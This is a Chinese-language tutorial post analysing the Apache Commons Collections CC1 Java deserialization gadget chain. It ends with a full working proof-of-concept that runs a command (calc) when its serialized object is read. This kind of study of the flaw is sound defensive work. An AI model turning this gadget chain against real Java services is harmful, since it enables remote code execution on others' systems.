CC-LINK-one

前言

这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

整体链子

借助前人挖掘的经验我们直接看到Transformer类

看这个类有个方法返回的是Object和接受参数也是Object,这就代表着对我们传入的类没有进行过滤,可以做一下很简单方便的操作,方便就是安全最大的敌人。

看一下它的实现类ctrl+h

今天的漏洞存在主脚是这个IncokerTransformer这个类

在里面看他的Transformer,就看异常处理前面的这个方法

  public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} /**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

这就是一个很典型的危险函数,具体调用就是 InvokerTransformer.transform,在类的构造函数里面去获取transform参数值,然后transform用这些方法通过反射调用,然后我们看一下利用过程

构造方法第一个值是String methodName,它是对应着IMethodName就是在反射中的Method method = cls.getMethod(iMethodName, iParamTypes);应该是exec

第二个参数值是paramTypes对应的是iParamTypes也是在Method method = cls.getMethod(iMethodName, iParamTypes);,对应的是getMethod中方法参数值String.class,因为exec对应的就是String

第三个参数args对应的是method.invoke(input, iArgs)就是我们要执行的那个String,然后现在给的值是cacl

我来构成尾部

这里的话我们想一想exec是从Runtime这类下来的所以我们要传入的对象是这个Runtime对象,这个Runtime对象是不支持序列化的,这样的话其实很简单也是我们必须要用的我看一下Runtime这个类有些啥

这方法是一个公开静态的方法,那就很简单了直接用Class就行了Class是可以反序列化的

   public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;//获取class类的Runtime。因为class类是可以序列化的
Method getRuntime = rumtime.getMethod("getRuntime",null
);//这儿是获取方法,这个方法是静态公开无参的下面这个要不要的无所谓
getRuntime.setAccessible(true);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);//方法执行,这个方法会返回一个Runrtime对象,这个对象就是我们要传到InvokerTransformer。ttransformer(Obeject obj)这个obj里面
} }

看一下构造,我们要利用InvokerTransformer去获取这个Runtime这个对象

第一步:获取Runtime方法

        Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

其实这个时候我们就已经拿到那个这个getRuntime,我们去掉getRuntime这个对象的invoke方法去获取一个Runtime对象这里充分体现了一个万物的思想,类是我们的对象我们调用它的方法

        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

获取到Runtime对象之后,我们就去调用它的的exec然后去调用计算器试试

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里其实就完成了第一个,就是说我们的链子的尾巴找到了。

我来构成身体

搞定前面那个部分,我们已经拿到了最重要的威胁函数,接下来就是找利用链子了,最终是找一个可以重写的readObject对象去调用到我们这个函数。

然后开始全局找一个不同名的函数去调用一下transform,这样我们就可以跳到别的类,函数方便去寻找readObject

在这个map包下面发现很多不同名的函数调用了transform

然后看到了这个checkSetVakue()这个函数

它是一个protected修饰的方法,所以看一下它的构造函数

这个构造函数看起来就是一个类似于装饰器,对一个map的key和value的进行操作,静态代理嘛。

这是一个保护的方法看一下同类下的方法调用

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

知道这个调用了还是试一下用这个去调我们的transfomer,到这里还是要归纳一下这个利用流程。

我们要调用的是我们构造的InvokerTransformer的transform()方法,然后我们在decorate方法中发现对我们的transformer有调用,然后追踪到checkvalue会对我们的transform调用transform(),但是对transform的调用的值是value我们要看看这个value我们怎么调用

通过追踪调用,看一下追出的函数是一个setValue

然后这个parent这个属性的调用是在上面那个MapEntry方法调用,什么是MapEnty是在hashMap的遍历循环的时候每一个键值对就是一个MapEntry

这里的setValue就是那个map的setvalue,它相当于是重写了这个方法,利用流程就是我们遍历HashMap然后去setvalue-checkvalue-transform

看一下没有反序列化的代码

public class demo2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;
Runtime r = Runtime.getRuntime();
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
execMethod.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, execMethod);
for(Map.Entry entry:decoratemap.entrySet()){
entry.setValue(r);
}
}
}

我来构成头部

接着往下走,我们已经找到这个map的setvalue去触发这个类了我们要去最后的一个目标一个readObjet调用Map的循环,然后调用一个setvalue

看这个setvalue刚刚好在一个readObject中,一个私有的类,只能通过反射来调用

 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decoratemap);

这样就能把这个对象构造出来,到这里这个利用链已经写完了,接下来就是解决一些中途调用的问题。

首先是我们在应对Runtime对象无法序列化的问题是利用transform方法就行循环调用,然后我们在开始的时候就发现过一个循环调用的方法就是利用ChainedTransformer这个数组循环调用

public class demo1 {

    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); } }

调用到这里我们的链子已经差不多完成了,再往回看一点,这里我们因为是链式调用嘛我吗要传入第一个setvalue必须是必须是Runtime.class,还有在readObject里面有一些很判断的条件

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

下个断点进行一下调试

这个判断过程是这样的它会去获取我们传入第一个参数就是那个注解的参数名称然后通过那个参数名称去获取map中的值,要那个值不为空,就是我们传入的map的key值那个字符串要跟传入的注解里面那个参数值有相同的

然后这里它的setvalue

接收的是一个AnntationTypeMismatchExceptionProxy

这里调用的checkvalue的value值是一个动态代理的处理器对象

然后这里是我们的命令执行的入口,就这个checkSetValue,然后它第一次调用的是它那个动态代理的处理器,而我们的入口要的是Runtime.class对象这里执行的是也是transform方法

然后我们在前面有一个鸡肋的transform方法这个时候就有用处了

这个ConstantTransformer这个类它的transform方法是一个接收构造函数的参数然后返回值就是构造函数的那个参数,这里我们就可以用它来跳过那个构造器,我们直接用它来构造我们需要的那个Runtime.class对象

完整poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map; public class demo1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decoratemap);
serialize(o);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

这条链子的总体利用发现和利用过程的就是真的巧妙到了不能再巧妙了,然后自己简单的归纳了一下触发的流程

AnnotationInvocationHandler#{readObject}
AbstractInputCheckedMapDecorator#{setValue}
HashMap控制中间的某个if语句和进入MapEntry方法
(ConstantTransformer)用来控制setvalue的第一个方法
TransformedMap#{checkSetValue}
(ChainedTransformer)这个类用来循环调用InvokerTransformerd.transform()
InvokerTransformer#{transform}

java反序列化漏洞cc_link_one的更多相关文章

  1. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  4. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  7. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  8. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  9. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. 【Java】学习路径63-反射、类的加载-附思维导图(完结)

    这一章的知识在实际开发也没有那么重要,主要是了解即可,另外掌握如何使用反射机制. 类的使用: 在虚拟机中: 类的加载->类的连接->类的初始化 类的加载   只会加载需要用到的类,加载到内 ...

  2. hadoop项目之求出每年二月的最高气温(Combiner优化)

    hadoop项目之求出每年二月的最高气温(Combiner优化) 一.项目结构 一.java实现随机生成日期和气温 package com.shujia.weather; import java.io ...

  3. 大促活动如何抵御大流量 DDoS 攻击?

    每一次活动大促带来的迅猛流量,对技术人而言都是一次严峻考验.如果在活动期间遭受黑产恶意DDoS攻击,无疑是雪上加霜.电商的特性是业务常态下通常不会遭受大流量DDoS攻击,且对延迟敏感,因此只需要在活动 ...

  4. 记一次 Sedona(GeoSpark) 空间计算优化

    项目需求需要空间计算能力,开始选型Sedona(GeoSpark)来完成, 需求需要每一条数据在满足某条件的情况下,去查找某张表进行空间匹配,找到离这个点(point)最近的一条道路(lineStri ...

  5. 在Yarn集群上跑spark wordcount任务

    准备的测试数据文件hello.txt hello scala hello world nihao hello i am scala this is spark demo gan jiu wan le ...

  6. 【读书笔记】C#高级编程 第二十章 诊断

    (一)诊断概述 名称空间System.Diagnostics提供了用于跟踪.事件日志.性能测量以及代码协定的类.System.Diagnostics.Contracts名称空间中的类可以定义前提条件. ...

  7. 电商平台物流模块自建OR对接第三方物流平台

    ​ 前沿 近几年来,电商行业竞争变得愈加激烈,公域流量获客成本越来越高,电商平台规则也越来越严格,数据无法出塔,商家无法自主运营用户群等等原因,很多大品牌纷纷开始搭建自有商城,运营私域流量,以此来降低 ...

  8. 在vm中安装centos7

    步骤: 1.打开VMware Worktation,点击"创建新的虚拟机": 2.一般选择"典型(推荐)",之后下一步. 3.选择"稍后安装操作系统& ...

  9. 使用 APM 中的 Service Map 了解和调试应用程序

    文章转载自:https://blog.csdn.net/UbuntuTouch/article/details/118667839

  10. 路径参数:Path Parameters

    官方文档地址:https://fastapi.tiangolo.com/zh/tutorial/path-params/ # -*- coding: UTF-8 -*- from fastapi im ...